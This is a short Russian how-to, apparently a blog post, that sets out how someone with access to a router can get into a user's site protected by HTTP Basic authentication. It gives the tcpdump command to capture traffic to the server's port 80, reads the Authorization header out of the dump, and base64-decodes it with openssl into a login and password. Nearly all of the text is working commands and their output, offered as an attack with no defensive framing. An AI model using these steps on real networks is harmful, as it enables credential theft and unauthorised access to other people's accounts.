Имеем: Доступ до роутера.
Требуется: получить доступ до сайта пользователя с Basic авторизацией
Решение:
1. на роутере выполняем команду
tcpdump -i em3 -p -s 0 -w /home/rrv/tcpdump.txt \(dst host XX.XX.XX.XX and dst port 80\)
тем самым мы сохраним в файл /home/rrv/tcpdump.txt дамп общения с сервером ip=XX.XX.XX.XX и портом 80
2. спустя некоторое время ищем в файле строку авторизации:
tcpdump -s 0 -A -r /home/rrv/tcpdump.txt | less
Находим строку вида:
Authorization: Basic QWRtaW46VG9wU2VjcmV0
Теперь раскодируем:
echo "QWRtaW46VG9wU2VjcmV0" | openssl enc -base64 -d
Admin:TopSecret
Все 🙂 Логин: Admin пароль: TopSecret